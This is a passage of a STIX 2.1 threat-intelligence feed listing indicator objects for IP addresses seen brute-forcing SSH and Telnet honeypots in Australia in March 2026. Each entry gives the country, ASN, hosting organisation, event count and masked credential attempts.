      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): ***. Passwords observed (masked): o*****!.",
      "id": "indicator--e6d2b154-62b0-4bac-b6a9-2646f1dee1ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.47.56.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **.",
      "id": "indicator--47531904-32bf-4938-b3bf-2f42ee5e06b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.85.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--83893adf-3284-446e-b7b2-a4318737ed41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.177.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y.",
      "id": "indicator--6474d201-59e6-4622-9b01-021d87307f2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.195.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1********0, 1******r, a******3.",
      "id": "indicator--3ade2e52-76cc-4c7a-ad25-c440e2c9a052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.210.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): j*****h. Passwords observed (masked): 1****6.",
      "id": "indicator--7f9df411-2372-4aa9-8a2d-73e4909ea54d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--ade60afb-5620-47d2-b13c-bb4a7f515741",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.106.79.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--31fae9ed-fa37-42d0-8637-0b74ab12e53d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.52.209.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): o****2. Passwords observed (masked): 1***5.",
      "id": "indicator--079d0632-9399-4099-a6fc-8277d96dc08f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.91.0.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4c525727-e550-4a2f-849c-388e913bd7f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.240.1.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): j**a. Passwords observed (masked): 1******8.",
      "id": "indicator--9966f775-990c-4a57-b09f-703ba8ed2938",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.96.20.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): d*****p. Passwords observed (masked): 1******8.",
      "id": "indicator--1c2d271b-1065-4acf-b8c5-f59b067bd93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.42.241.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:15:14.000Z",
      "valid_until": "2026-04-12T13:15:12.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZM. ASN(s): 328646. Organisation(s): Infratel-Corporation. Usernames observed (masked): s****k, 3**********4, h**g, k**g, ***. Passwords observed (masked): *, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--6e18d657-dcc9-4443-876c-633fa85c1bc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.23.122.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC. Usernames observed (masked): 3**********4, a*****o, h*****n, d****n, m***a. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, D*******3.",
      "id": "indicator--78736466-e6e1-4682-b68c-d5ca3fff7393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.237.144.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia.",
      "id": "indicator--3f010d79-bdf0-4d28-ad86-a0cba9fca2fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.193.191.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, 3**********4, ***, p****a, r**t. Passwords observed (masked): ***, 3***********4, 3**********4, Q******1, R****3.",
      "id": "indicator--75605478-3907-4cd5-9d7a-f983bc1d605e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.121.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--d5f2cef9-0bec-48a8-ae82-8d4fa2f17658",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.23.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 212238. Organisation(s): Datacamp Limited. Usernames observed (masked): a***n. Passwords observed (masked): 1****6.",
      "id": "indicator--7a940e6f-4813-4107-a930-5cc7916b08d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '149.50.220.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--a061a848-3bba-492d-934c-25985792d748",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.212.82.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--254ae103-9d0e-47ec-ac41-71aa0440e015",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.13.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 3**********4, ***, r**t, s*****r, a***l. Passwords observed (masked): 3***********4, 3**********4, 1****6, ***, E********3.",
      "id": "indicator--3f28f98f-5d0a-40d2-8548-22579809d1a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.75.141.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T14:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company.",
      "id": "indicator--c910d545-ec0e-45af-ba73-d4bb8a4a16af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T14:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.144.21.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:15:08.000Z",
      "valid_until": "2026-04-12T14:15:05.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v. Passwords observed (masked): **, ***, 1**4, 1****6, 1******8.",
      "id": "indicator--badb25be-58a7-423c-aaba-6b91e941eb58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.90.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, ***, 3**********4, b**l, d**l. Passwords observed (masked): ***, 1**4, 1****6, 1********!, 3***********4.",
      "id": "indicator--d3312b04-972b-428f-ae1f-c733f64ef430",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.74.46.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): e******m, ***, s****a, s**v. Passwords observed (masked): e******m, ***, s****a, s**v.",
      "id": "indicator--7ea3a6d5-9f04-4630-a319-543358ebe9df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.79.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: JP. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): a***b. Passwords observed (masked): a******3.",
      "id": "indicator--4055cd88-d034-4d5a-a484-cf35c1c1a7e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.227.236.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--26bed13f-edc0-482e-a4e2-d4c3048baf99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.137.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--279d96a7-2046-45c8-b244-9c0a9e3fdfc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f0cf0f34-bd21-479c-8152-497e92155622",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.193.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140061. Organisation(s): Qinghai Telecom. Usernames observed (masked): r**t. Passwords observed (masked): s****e.",
      "id": "indicator--67ce1c13-a1dd-47f9-b4f9-d7ea7e9eeede",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.221.36.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n**e, ***, s****a, u****u, v*******r. Passwords observed (masked): n**e, ***, s****a, u****u, v*******r.",
      "id": "indicator--be2fb90c-8163-4584-8825-a9e6d654694e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.199.103.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): 3**********4, j****k, m****i, t********h, a***e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, I*******3.",
      "id": "indicator--cad733b5-9c59-4873-8200-3f9513c264bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.19.156.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): 3**********4, j****k, m****i, t********h, a***e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, I*******3.",
      "id": "indicator--f353bf03-43d9-4cb9-85ff-3067dbce8b6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.109.104.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:15:14.000Z",
      "valid_until": "2026-04-12T15:15:12.000Z"
    },
    {
      "created": "2026-03-11T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 19970. Organisation(s): R&R Managed Telecom Services. Usernames observed (masked): 3**********4, j****k, m****i, t********h, a***e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, I*******3.",
      "id": "indicator--32414eec-51d2-4c7f-a7d8-c5564fa5375c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
